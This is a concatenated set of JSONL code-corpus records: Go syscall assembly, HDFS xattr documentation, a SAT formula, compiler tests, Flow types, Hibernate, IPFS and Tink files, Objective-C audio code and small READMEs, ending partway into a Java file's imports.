\"funcdata.h\"\n\n//\n// System call support for AMD64, FreeBSD\n//\n\n// The SYSCALL variant for invoking system calls is broken in FreeBSD.\n// See comment at top of ../runtime/sys_freebsd_amd64.c and\n// golang.org/issue/6372.\n#define SYSCALL MOVQ R10, CX; INT $0x80\n\n// func Syscall(trap int64, a1, a2, a3 int64) (r1, r2, err int64);\n// func Syscall6(trap int64, a1, a2, a3, a4, a5, a6 int64) (r1, r2, err int64);\n// func Syscall9(trap int64, a1, a2, a3, a4, a5, a6, a7, a8, a9 int64) (r1, r2, err int64)\n// Trap # in AX, args in DI SI DX, return in AX DX\n\nTEXT\t·Syscall(SB),NOSPLIT,$0-56\n\tCALL\truntime·entersyscall(SB)\n\tMOVQ\t16(SP), DI\n\tMOVQ\t24(SP), SI\n\tMOVQ\t32(SP), DX\n\tMOVQ\t$0, R10\n\tMOVQ\t$0, R8\n\tMOVQ\t$0, R9\n\tMOVQ\t8(SP), AX\t// syscall entry\n\tSYSCALL\n\tJCC\tok\n\tMOVQ\t$-1, 40(SP)\t// r1\n\tMOVQ\t$0, 48(SP)\t// r2\n\tMOVQ\tAX, 56(SP) // errno\n\tCALL\truntime·exitsyscall(SB)\n\tRET\nok:\n\tMOVQ\tAX, 40(SP)\t// r1\n\tMOVQ\tDX, 48(SP)\t// r2\n\tMOVQ\t$0, 56(SP)\t// errno\n\tCALL\truntime·exitsyscall(SB)\n\tRET\n\nTEXT\t·Syscall6(SB),NOSPLIT,$0-80\n\tCALL\truntime·entersyscall(SB)\n\tMOVQ\t16(SP), DI\n\tMOVQ\t24(SP), SI\n\tMOVQ\t32(SP), DX\n\tMOVQ\t40(SP), R10\n\tMOVQ\t48(SP), R8\n\tMOVQ\t56(SP), R9\n\tMOVQ\t8(SP), AX\t// syscall entry\n\tSYSCALL\n\tJCC\tok6\n\tMOVQ\t$-1, 64(SP)\t// r1\n\tMOVQ\t$0, 72(SP)\t// r2\n\tMOVQ\tAX, 80(SP) // errno\n\tCALL\truntime·exitsyscall(SB)\n\tRET\nok6:\n\tMOVQ\tAX, 64(SP)\t// r1\n\tMOVQ\tDX, 72(SP)\t// r2\n\tMOVQ\t$0, 80(SP)\t// errno\n\tCALL\truntime·exitsyscall(SB)\n\tRET\n\nTEXT\t·Syscall9(SB),NOSPLIT,$0-104\n\tCALL\truntime·entersyscall(SB)\n\tMOVQ\t8(SP), AX\n\tMOVQ\t16(SP), DI\n\tMOVQ\t24(SP), SI\n\tMOVQ\t32(SP), DX\n\tMOVQ\t40(SP),\tR10\n\tMOVQ\t48(SP), R8\n\tMOVQ\t56(SP), R9\n\n\t// shift around the last three arguments so they're at the\n\t// top of the stack when the syscall is called.\n\tMOVQ\t64(SP), R11 // arg 7\n\tMOVQ\tR11, 8(SP)\n\tMOVQ\t72(SP), R11 // arg 8\n\tMOVQ\tR11, 16(SP)\n\tMOVQ\t80(SP), R11 // arg 9\n\tMOVQ\tR11, 24(SP)\n\n\tSYSCALL\n\tJCC\tok9\n\tMOVQ\t$-1, 88(SP)\t// r1\n\tMOVQ\t$0, 96(SP)\t// r2\n\tMOVQ\tAX, 104(SP) // errno\n\tCALL\truntime·exitsyscall(SB)\n\tRET\nok9:\n\tMOVQ\tAX, 88(SP)\t// r1\n\tMOVQ\tDX, 96(SP)\t// r2\n\tMOVQ\t$0, 104(SP)\t// errno\n\tCALL\truntime·exitsyscall(SB)\n\tRET\n\nTEXT ·RawSyscall(SB),NOSPLIT,$0-56\n\tMOVQ\t16(SP), DI\n\tMOVQ\t24(SP), SI\n\tMOVQ\t32(SP), DX\n\tMOVQ\t$0, R10\n\tMOVQ\t$0, R8\n\tMOVQ\t$0, R9\n\tMOVQ\t8(SP), AX\t// syscall entry\n\tSYSCALL\n\tJCC\tok1\n\tMOVQ\t$-1, 40(SP)\t// r1\n\tMOVQ\t$0, 48(SP)\t// r2\n\tMOVQ\tAX, 56(SP) // errno\n\tRET\nok1:\n\tMOVQ\tAX, 40(SP)\t// r1\n\tMOVQ\tDX, 48(SP)\t// r2\n\tMOVQ\t$0, 56(SP)\t// errno\n\tRET\n\nTEXT\t·RawSyscall6(SB),NOSPLIT,$0-80\n\tMOVQ\t16(SP), DI\n\tMOVQ\t24(SP), SI\n\tMOVQ\t32(SP), DX\n\tMOVQ\t40(SP), R10\n\tMOVQ\t48(SP), R8\n\tMOVQ\t56(SP), R9\n\tMOVQ\t8(SP), AX\t// syscall entry\n\tSYSCALL\n\tJCC\tok2\n\tMOVQ\t$-1, 64(SP)\t// r1\n\tMOVQ\t$0, 72(SP)\t// r2\n\tMOVQ\tAX, 80(SP) // errno\n\tRET\nok2:\n\tMOVQ\tAX, 64(SP)\t// r1\n\tMOVQ\tDX, 72(SP)\t// r2\n\tMOVQ\t$0, 80(SP)\t// errno\n\tRET\n"} +{"text": "\n\nExtended Attributes in HDFS\n===========================\n\n* [Overview](#Overview)\n * [HDFS extended attributes](#HDFS_extended_attributes)\n * [Namespaces and Permissions](#Namespaces_and_Permissions)\n* [Interacting with extended attributes](#Interacting_with_extended_attributes)\n * [getfattr](#getfattr)\n * [setfattr](#setfattr)\n* [Configuration options](#Configuration_options)\n\nOverview\n--------\n\n*Extended attributes* (abbreviated as *xattrs*) are a filesystem feature that allow user applications to associate additional metadata with a file or directory. Unlike system-level inode metadata such as file permissions or modification time, extended attributes are not interpreted by the system and are instead used by applications to store additional information about an inode. Extended attributes could be used, for instance, to specify the character encoding of a plain-text document.\n\n### HDFS extended attributes\n\nExtended attributes in HDFS are modeled after extended attributes in Linux (see the Linux manpage for [attr(5)](http://www.bestbits.at/acl/man/man5/attr.txt) and [related documentation](http://www.bestbits.at/acl/)). An extended attribute is a *name-value pair*, with a string name and binary value. Xattrs names must also be prefixed with a *namespace*. For example, an xattr named *myXattr* in the *user* namespace would be specified as **user.myXattr**. Multiple xattrs can be associated with a single inode.\n\n### Namespaces and Permissions\n\nIn HDFS, there are five valid namespaces: `user`, `trusted`, `system`, `security`, and `raw`. Each of these namespaces have different access restrictions.\n\nThe `user` namespace is the namespace that will commonly be used by client applications. Access to extended attributes in the user namespace is controlled by the corresponding file permissions.\n\nThe `trusted` namespace is available only to HDFS superusers.\n\nThe `system` namespace is reserved for internal HDFS use. This namespace is not accessible through userspace methods, and is reserved for implementing internal HDFS features.\n\nThe `security` namespace is reserved for internal HDFS use. This namespace is generally not accessible through userspace methods. One particular use of `security` is the `security.hdfs.unreadable.by.superuser` extended attribute. This xattr can only be set on files, and it will prevent the superuser from reading the file's contents. The superuser can still read and modify file metadata, such as the owner, permissions, etc. This xattr can be set and accessed by any user, assuming normal filesystem permissions. This xattr is also write-once, and cannot be removed once set. This xattr does not allow a value to be set.\n\nThe `raw` namespace is reserved for internal system attributes that sometimes need to be exposed. Like `system` namespace attributes they are not visible to the user except when `getXAttr`/`getXAttrs` is called on a file or directory in the `/.reserved/raw` HDFS directory hierarchy. These attributes can only be accessed by the superuser. An example of where `raw` namespace extended attributes are used is the `distcp` utility. Encryption zone meta data is stored in `raw.*` extended attributes, so as long as the administrator uses `/.reserved/raw` pathnames in source and target, the encrypted files in the encryption zones are transparently copied.\n\nInteracting with extended attributes\n------------------------------------\n\nThe Hadoop shell has support for interacting with extended attributes via `hadoop fs -getfattr` and `hadoop fs -setfattr`. These commands are styled after the Linux [getfattr(1)](http://www.bestbits.at/acl/man/man1/getfattr.txt) and [setfattr(1)](http://www.bestbits.at/acl/man/man1/setfattr.txt) commands.\n\n### getfattr\n\n`hadoop fs -getfattr [-R] -n name | -d [-e en] \n\nDisplays the extended attribute names and values (if any) for a file or directory.\n\n| | |\n|:---- |:---- |\n| -R | Recursively list the attributes for all files and directories. |\n| -n name | Dump the named extended attribute value. |\n| -d | Dump all extended attribute values associated with pathname. |\n| -e \\ | Encode values after retrieving them. Valid encodings are \"text\", \"hex\", and \"base64\". Values encoded as text strings are enclosed in double quotes (\"), and values encoded as hexadecimal and base64 are prefixed with 0x and 0s, respectively. |\n| \\ | The file or directory. |\n\n### setfattr\n\n`hadoop fs -setfattr -n name [-v value] | -x name \n\nSets an extended attribute name and value for a file or directory.\n\n| | |\n|:---- |:---- |\n| -n name | The extended attribute name. |\n| -v value | The extended attribute value. There are three different encoding methods for the value. If the argument is enclosed in double quotes, then the value is the string inside the quotes. If the argument is prefixed with 0x or 0X, then it is taken as a hexadecimal number. If the argument begins with 0s or 0S, then it is taken as a base64 encoding. |\n| -x name | Remove the extended attribute. |\n| \\ | The file or directory. |\n\nConfiguration options\n---------------------\n\nHDFS supports extended attributes out of the box, without additional configuration. Administrators could potentially be interested in the options limiting the number of xattrs per inode and the size of xattrs, since xattrs increase the on-disk and in-memory space consumption of an inode.\n\n* `dfs.namenode.xattrs.enabled`\n\n Whether support for extended attributes is enabled on the NameNode. By default, extended attributes are enabled.\n\n* `dfs.namenode.fs-limits.max-xattrs-per-inode`\n\n The maximum number of extended attributes per inode. By default, this limit is 32.\n\n* `dfs.namenode.fs-limits.max-xattr-size`\n\n The maximum combined size of the name and value of an extended attribute in bytes. By default, this limit is 16384 bytes.\n\n\n"} +{"text": "c This Formular is generated by mcnf\nc\nc horn? no \nc forced? no \nc mixed sat? no \nc clause length = 3 \nc\np cnf 20 91 \n 11 -20 -6 0\n20 17 13 0\n-5 -13 17 0\n-12 11 -13 0\n-15 13 2 0\n-8 12 -9 0\n-6 1 -17 0\n7 8 -9 0\n11 -18 -10 0\n2 -6 4 0\n13 -3 -17 0\n-1 -2 -18 0\n13 5 -8 0\n-1 19 11 0\n2 4 8 0\n10 20 7 0\n-3 -1 4 0\n20 9 -7 0\n-1 11 -14 0\n14 3 20 0\n-4 17 7 0\n-13 5 8 0\n17 -4 13 0\n-19 11 -14 0\n7 -16 17 0\n13 20 19 0\n-2 -7 -13 0\n-14 15 -9 0\n-16 -5 -7 0\n12 -16 -20 0\n-8 -19 -11 0\n-20 -7 8 0\n-11 13 8 0\n11 9 -8 0\n3 -4 -7 0\n-20 -5 -12 0\n6 -8 -7 0\n13 4 5 0\n19 17 18 0\n5 -8 12 0\n8 5 17 0\n-12 14 4 0\n-15 3 -14 0\n16 2 -4 0\n-11 -7 -1 0\n-5 16 -6 0\n-10 11 -17 0\n12 7 4 0\n19 -9 7 0\n12 -2 3 0\n14 -8 6 0\n-19 6 -15 0\n6 -15 -5 0\n-13 -16 -20 0\n1 -9 16 0\n5 12 -16 0\n15 -19 -17 0\n-7 19 -15 0\n3 -1 8 0\n-16 1 13 0\n-20 -8 1 0\n7 13 -20 0\n-3 -8 13 0\n-8 1 2 0\n-20 18 1 0\n1 9 12 0\n3 -11 2 0\n-16 10 8 0\n-20 -9 -10 0\n15 -9 -11 0\n-7 -8 11 0\n18 13 -15 0\n-10 17 3 0\n-7 15 -18 0\n7 -16 18 0\n11 -18 12 0\n-3 -12 14 0\n-9 -2 19 0\n-14 7 17 0\n4 -11 17 0\n5 -6 -16 0\n9 12 -11 0\n15 6 -12 0\n-20 -12 -11 0\n-15 -6 -9 0\n1 -4 -16 0\n19 -12 -4 0\n1 20 8 0\n-6 -16 12 0\n-12 17 8 0\n20 8 -4 0\n%\n0\n\n"} +{"text": "// This source file is part of the Swift.org open source project\n// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n// Licensed under Apache License v2.0 with Runtime Library Exception\n//\n// See https://swift.org/LICENSE.txt for license information\n// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors\n\n// RUN: not %target-swift-frontend %s -typecheck\nlet a{\nstruct w\nstruct B Object,\n nullWhenValid?: boolean,\n};\n\ndeclare type Config = {\n field?: any,\n message?: string,\n};\n\ndeclare type ComposeConfig = Config & {\n multiple?: boolean,\n};\n\ndeclare type ParsedField = {\n isArray: boolean,\n baseName: string,\n fullName: string,\n};\n\ndeclare type ValidatorFactoryConfig = {\n definition: ValidatorImpl,\n messageCreator?: MessageCreator,\n numArgs?: number,\n};\n\ndeclare type MessageCreator = string | (field: any, ...args: Array) => any;\ndeclare type ValidatorImpl = (message: any, ...args: Array) => (value: any, allValues?: ?Object) => any;\ndeclare type Comparer = (a: any, b: any) => boolean;\n\ndeclare type ConfiguredValidator = (value?: any, allValues?: ?Object) => any;\ndeclare type UnconfiguredValidator = (config?: string | Config, value?: any, allValues?: Object) => any;\ndeclare type ConfiguredCombinedValidator = (value?: any, allValues?: any) => any;\n\ndeclare type CurryableValidator = (config?: string | Config) => ConfiguredValidator;\ndeclare type ComposedCurryableValidator = (config?: string | ComposeConfig) => ConfiguredValidator;\n\ndeclare type ConfigurableValidator = UnconfiguredValidator & CurryableValidator;\ndeclare type ValidatorFactory = (...args: Array) => ConfigurableValidator;\n\ndeclare function createValidatorFactory(\n curriedDefinition: ValidatorImpl,\n defaultMessageCreator?: MessageCreator,\n): ValidatorFactory;\n\ndeclare function createValidatorFactory(config: ValidatorFactoryConfig): ValidatorFactory;\n\ndeclare type Validator\n = ConfiguredValidator\n & UnconfiguredValidator;\n"} +{"text": "/*\n * Hibernate, Relational Persistence for Idiomatic Java\n *\n * Copyright (c) 2010, Red Hat Inc. or third-party contributors as\n * indicated by the @author tags or express copyright attribution\n * statements applied by the authors. All third-party contributions are\n * distributed under license by Red Hat Inc.\n *\n * This copyrighted material is made available to anyone wishing to use, modify,\n * copy, or redistribute it subject to the terms and conditions of the GNU\n * Lesser General Public License, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License\n * for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this distribution; if not, write to:\n * Free Software Foundation, Inc.\n * 51 Franklin Street, Fifth Floor\n * Boston, MA 02110-1301 USA\n */\npackage org.hibernate.test.annotations.type.dynamicparameterized;\n\nimport javax.persistence.Access;\nimport javax.persistence.AccessType;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Table;\n\nimport org.hibernate.annotations.Parameter;\nimport org.hibernate.annotations.Type;\n\n/**\n * @author Daniel Gredler\n */\n@Entity\n@Table(name = \"ENTITY2\")\n@Access(AccessType.FIELD)\npublic class Entity2 extends AbstractEntity {\n\n\t@Column(name = \"PROP1\")\n\t@Type(type = \"string\")\n\tString entity2_Prop1;\n\n\t@Column(name = \"PROP2\")\n\t@Type(type = \"string\")\n\tString entity2_Prop2;\n\n\t@Column(name = \"PROP3\")\n\tString entity2_Prop3;\n\n\t@Column(name = \"PROP4\")\n\tString entity2_Prop4;\n\n\t@Column(name = \"PROP5\")\n\t@Type(type = \"string\", parameters = @Parameter(name = \"suffix\", value = \"blah\"))\n\tString entity2_Prop5;\n\n\t@Column(name = \"PROP6\")\n\t@Type(type = \"string\", parameters = @Parameter(name = \"suffix\", value = \"yeah\"))\n\tString entity2_Prop6;\n}\n"} +{"text": "{\n \"name\": \"__PROJECT_NAME__\",\n \"version\": \"1.0.0\",\n \"description\": \"Webpack Titanium Mobile Project\",\n \"private\": true,\n \"scripts\": {\n \"lint\": \"eslint src\"\n },\n \"devDependencies\": {\n \"@titanium-sdk/webpack-plugin-babel\": \"0.1.2\",\n \"@titanium-sdk/webpack-plugin-classic\": \"^0.1.0\",\n \"babel-eslint\": \"10.1.0\",\n \"eslint\": \"^7.5.0\",\n \"eslint-config-axway\": \"4.7.0\",\n \"webpack\": \"4.44.0\"\n }\n}\n"} +{"text": "require('../modules/es6.object.to-string');\nrequire('../modules/es6.array.iterator');\nrequire('../modules/es6.weak-map');\nmodule.exports = require('../modules/_core').WeakMap;\n"} +{"text": "# Repo API\n\n* [repo.gc](#repogc)\n* [repo.stat](#repostat)\n* [repo.version](#repoversion)\n\n#### `repo.gc`\n\n> Perform a garbage collection sweep on the repo.\n\n##### `ipfs.repo.gc([options])`\n\nWhere:\n\n- `options` is an object that contains following properties\n - `quiet` writes a minimal output.\n - `stream-errors` stream errors.\n\n**Returns**\n\n| Type | Description |\n| -------- | -------- |\n| `AsyncIterable` | An async iterable that yields objects describing nodes that were garbage collected |\n\nEach yielded object contains the following properties:\n\n- `err` is an `Error` if it was not possible to GC a particular block.\n- `cid` is the [CID][cid] of the block that was Garbage Collected.\n\n**Example:**\n\n```JavaScript\nfor await (const res of ipfs.repo.gc()) {\n console.log(res)\n}\n```\n\n#### `repo.stat`\n\n> Get stats for the currently used repo.\n\n##### `ipfs.repo.stat([options])`\n\n`stats.repo` and `repo.stat` can be used interchangeably.\n\nWhere:\n\n- `options` is an object that contains following properties\n - `human` a Boolean value to output `repoSize` in MiB.\n\n**Returns**\n\n| Type | Description |\n| -------- | -------- |\n| `Promise` | An object containing the repo's info |\n\nthe returned object has the following keys:\n\n- `numObjects` is a [BigNumber Int][1].\n- `repoSize` is a [BigNumber Int][1], in bytes.\n- `repoPath` is a string.\n- `version` is a string.\n- `storageMax` is a [BigNumber Int][1].\n\n**Example:**\n\n```JavaScript\nconst stats = await ipfs.repo.stat()\nconsole.log(stats)\n\n// { numObjects: 15,\n// repoSize: 64190,\n// repoPath: 'C:\\\\Users\\\\henri\\\\AppData\\\\Local\\\\Temp\\\\ipfs_687c6eb3da07d3b16fe3c63ce17560e9',\n// version: 'fs-repo@6',\n// storageMax: 10000000000 }\n```\n\n#### `repo.version`\n\n> Show the repo version.\n\n##### `ipfs.repo.version()`\n\n**Returns**\n\n| Type | Description |\n| -------- | -------- |\n| `Promise` | A String containing the repo's version |\n\n**Example:**\n\n```JavaScript\nconst version = await ipfs.repo.version()\nconsole.log(version)\n\n// \"6\"\n```\n\n[1]: https://github.com/MikeMcl/bignumber.js/\n[cid]: https://www.npmjs.com/package/cids\n"} +{"text": "// Copyright 2020 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n////////////////////////////////////////////////////////////////////////////////\n\n// Code generated by protoc-gen-go. DO NOT EDIT.\n// source: third_party/tink/proto/aes_siv.proto\n\npackage aes_siv_go_proto\n\nimport (\n\tfmt \"fmt\"\n\tproto \"github.com/golang/protobuf/proto\"\n\tmath \"math\"\n)\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto.Marshal\nvar _ = fmt.Errorf\nvar _ = math.Inf\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the proto package it is being compiled against.\n// A compilation error at this line likely means your copy of the\n// proto package needs to be updated.\nconst _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package\n\ntype AesSivKeyFormat struct {\n\t// Only valid value is: 64.\n\tKeySize uint32 `protobuf:\"varint,1,opt,name=key_size,json=keySize,proto3\" json:\"key_size,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *AesSivKeyFormat) Reset() { *m = AesSivKeyFormat{} }\nfunc (m *AesSivKeyFormat) String() string { return proto.CompactTextString(m) }\nfunc (*AesSivKeyFormat) ProtoMessage() {}\nfunc (*AesSivKeyFormat) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_43b3629c0a9079e5, []int{0}\n}\n\nfunc (m *AesSivKeyFormat) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_AesSivKeyFormat.Unmarshal(m, b)\n}\nfunc (m *AesSivKeyFormat) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_AesSivKeyFormat.Marshal(b, m, deterministic)\n}\nfunc (m *AesSivKeyFormat) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_AesSivKeyFormat.Merge(m, src)\n}\nfunc (m *AesSivKeyFormat) XXX_Size() int {\n\treturn xxx_messageInfo_AesSivKeyFormat.Size(m)\n}\nfunc (m *AesSivKeyFormat) XXX_DiscardUnknown() {\n\txxx_messageInfo_AesSivKeyFormat.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_AesSivKeyFormat proto.InternalMessageInfo\n\nfunc (m *AesSivKeyFormat) GetKeySize() uint32 {\n\tif m != nil {\n\t\treturn m.KeySize\n\t}\n\treturn 0\n}\n\n// key_type: type.googleapis.com/google.crypto.tink.AesSivKey\ntype AesSivKey struct {\n\tVersion uint32 `protobuf:\"varint,1,opt,name=version,proto3\" json:\"version,omitempty\"`\n\t// First half is AES-CTR key, second is AES-SIV.\n\tKeyValue []byte `protobuf:\"bytes,2,opt,name=key_value,json=keyValue,proto3\" json:\"key_value,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *AesSivKey) Reset() { *m = AesSivKey{} }\nfunc (m *AesSivKey) String() string { return proto.CompactTextString(m) }\nfunc (*AesSivKey) ProtoMessage() {}\nfunc (*AesSivKey) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_43b3629c0a9079e5, []int{1}\n}\n\nfunc (m *AesSivKey) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_AesSivKey.Unmarshal(m, b)\n}\nfunc (m *AesSivKey) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_AesSivKey.Marshal(b, m, deterministic)\n}\nfunc (m *AesSivKey) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_AesSivKey.Merge(m, src)\n}\nfunc (m *AesSivKey) XXX_Size() int {\n\treturn xxx_messageInfo_AesSivKey.Size(m)\n}\nfunc (m *AesSivKey) XXX_DiscardUnknown() {\n\txxx_messageInfo_AesSivKey.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_AesSivKey proto.InternalMessageInfo\n\nfunc (m *AesSivKey) GetVersion() uint32 {\n\tif m != nil {\n\t\treturn m.Version\n\t}\n\treturn 0\n}\n\nfunc (m *AesSivKey) GetKeyValue() []byte {\n\tif m != nil {\n\t\treturn m.KeyValue\n\t}\n\treturn nil\n}\n\nfunc init() {\n\tproto.RegisterType((*AesSivKeyFormat)(nil), \"google.crypto.tink.AesSivKeyFormat\")\n\tproto.RegisterType((*AesSivKey)(nil), \"google.crypto.tink.AesSivKey\")\n}\n\nfunc init() {\n\tproto.RegisterFile(\"proto/aes_siv.proto\", fileDescriptor_43b3629c0a9079e5)\n}\n\nvar fileDescriptor_43b3629c0a9079e5 = []byte{\n\t// 218 bytes of a gzipped FileDescriptorProto\n\t0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x52, 0x29, 0xc9, 0xc8, 0x2c,\n\t0x4a, 0x89, 0x2f, 0x48, 0x2c, 0x2a, 0xa9, 0xd4, 0x2f, 0xc9, 0xcc, 0xcb, 0xd6, 0x2f, 0x28, 0xca,\n\t0x2f, 0xc9, 0xd7, 0x4f, 0x4c, 0x2d, 0x8e, 0x2f, 0xce, 0x2c, 0xd3, 0x03, 0xf3, 0x84, 0x84, 0xd2,\n\t0xf3, 0xf3, 0xd3, 0x73, 0x52, 0xf5, 0x92, 0x8b, 0x2a, 0x0b, 0x4a, 0xf2, 0xf5, 0x40, 0xea, 0x94,\n\t0x74, 0xb8, 0xf8, 0x1d, 0x53, 0x8b, 0x83, 0x33, 0xcb, 0xbc, 0x53, 0x2b, 0xdd, 0xf2, 0x8b, 0x72,\n\t0x13, 0x4b, 0x84, 0x24, 0xb9, 0x38, 0xb2, 0x53, 0x2b, 0xe3, 0x8b, 0x33, 0xab, 0x52, 0x25, 0x18,\n\t0x15, 0x18, 0x35, 0x78, 0x83, 0xd8, 0xb3, 0x53, 0x2b, 0x83, 0x33, 0xab, 0x52, 0x95, 0x9c, 0xb8,\n\t0x38, 0xe1, 0xaa, 0x85, 0x24, 0xb8, 0xd8, 0xcb, 0x52, 0x8b, 0x8a, 0x33, 0xf3, 0xf3, 0x60, 0xca,\n\t0xa0, 0x5c, 0x21, 0x69, 0x2e, 0x4e, 0x90, 0x09, 0x65, 0x89, 0x39, 0xa5, 0xa9, 0x12, 0x4c, 0x0a,\n\t0x8c, 0x1a, 0x3c, 0x41, 0x20, 0x23, 0xc3, 0x40, 0x7c, 0xa7, 0x08, 0x2e, 0x99, 0xe4, 0xfc, 0x5c,\n\t0x3d, 0x4c, 0xb7, 0x40, 0x5c, 0x19, 0xc0, 0x18, 0xa5, 0x9b, 0x9e, 0x59, 0x92, 0x51, 0x9a, 0xa4,\n\t0x97, 0x9c, 0x9f, 0xab, 0x0f, 0x51, 0x86, 0xc5, 0x4f, 0xf1, 0xe9, 0xf9, 0xf1, 0x60, 0x81, 0x45,\n\t0x4c, 0x6c, 0x21, 0x9e, 0x7e, 0xde, 0x01, 0x4e, 0x49, 0x6c, 0x60, 0xbe, 0x31, 0x20, 0x00, 0x00,\n\t0xff, 0xff, 0x81, 0x45, 0x27, 0x3b, 0x0e, 0x01, 0x00, 0x00,\n}\n"} +{"text": "//\n// Project: SoundKit framework.\n//\n// Copyright (C) 2019 Sergii Stoian\n//\n// This application is free software; you can redistribute it and/or\n// modify it under the terms of the GNU General Public\n// License as published by the Free Software Foundation; either\n// version 2 of the License, or (at your option) any later version.\n//\n// This application is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// Library General Public License for more details.\n// \n// You should have received a copy of the GNU General Public\n// License along with this library; if not, write to the Free\n// Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111 USA.\n//\n\n#import \n#import \n\n#import \"PAStream.h\"\n#import \"PAClient.h\"\n\n#import \"PASink.h\"\n#import \"SNDOut.h\"\n\n@implementation SNDVirtualStream\n\n- (void)dealloc\n{\n NSDebugLLog(@\"Memory\", @\"[SNDVirtualStream] dealloc\");\n [super dealloc];\n}\n\n- (id)initWithStream:(PAStream *)stream\n{\n if ((self = [super init]) == nil)\n return nil;\n\n _stream = stream;\n \n if (_stream == nil) {\n super.name = @\"Dummy Virtual Stream\";\n }\n else if ([[_stream typeName] isEqualToString:@\"sink-input-by-media-role\"] != NO) {\n if ([[_stream clientName] isEqualToString:@\"event\"] != NO) {\n super.name = @\"System Sounds\";\n super.isActive = YES;\n super.isPlayback = YES;\n }\n }\n else {\n super.name = _stream.clientName;\n }\n\n // fprintf(stderr, \"[SoundKit] SoundStream: %s \\t\\tDevice: %s\\n\",\n // [_stream.name cString], [_stream.deviceName cString]);\n \n return self; \n}\n\n- (NSString *)appName\n{\n return super.client.appName;\n}\n\n- (NSUInteger)volume\n{\n return [_stream volume];\n}\n- (void)setVolume:(NSUInteger)volume\n{\n [_stream applyVolume:volume];\n}\n- (CGFloat)balance\n{\n return _stream.balance;\n}\n- (void)setBalance:(CGFloat)balance\n{\n [_stream applyBalance:balance];\n}\n- (void)setMute:(BOOL)isMute\n{\n [_stream applyMute:isMute];\n}\n- (BOOL)isMute\n{\n return (BOOL)_stream.mute;\n}\n\n- (NSString *)activePort\n{\n SNDServer *server = [SNDServer sharedServer];\n\n return [server defaultOutput].sink.activePort;\n}\n\n- (void)setActivePort:(NSString *)portName\n{\n SNDServer *server = [SNDServer sharedServer];\n\n [[server defaultOutput].sink applyActivePort:portName];\n}\n\n@end\n"} +{"text": "//\n// YPBangumiViewController.h\n// Wuxianda\n//\n// Created by MichaelPPP on 16/7/20.\n// Copyright © 2016年 michaelhuyp. All rights reserved.\n// 番剧控制器\n\n#import \n\n@interface YPBangumiViewController : UIViewController\n\n@end\n"} +{"text": "# utils-merge\n\nMerges the properties from a source object into a destination object.\n\n## Install\n\n $ npm install utils-merge\n\n## Usage\n\n```javascript\nvar a = { foo: 'bar' }\n , b = { bar: 'baz' };\n\nmerge(a, b);\n// => { foo: 'bar', bar: 'baz' }\n```\n\n## Tests\n\n $ npm install\n $ npm test\n\n[![Build Status](https://secure.travis-ci.org/jaredhanson/utils-merge.png)](http://travis-ci.org/jaredhanson/utils-merge)\n\n## Credits\n\n - [Jared Hanson](http://github.com/jaredhanson)\n\n## License\n\n[The MIT License](http://opensource.org/licenses/MIT)\n\nCopyright (c) 2013 Jared Hanson <[http://jaredhanson.net/](http://jaredhanson.net/)>\n"} +{"text": "\n\n \n
    ab
    \n
    ab
    \n \n\n"} +{"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\npackage com.datatorrent.stram.plan;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Maps;\nimport com.google.common.collect.Sets;\n\nimport com.datatorrent.api.Stats.OperatorStats;\nimport com.datatorrent.api.StatsListener;\nimport com.datatorrent.api.StorageAgent;\nimport 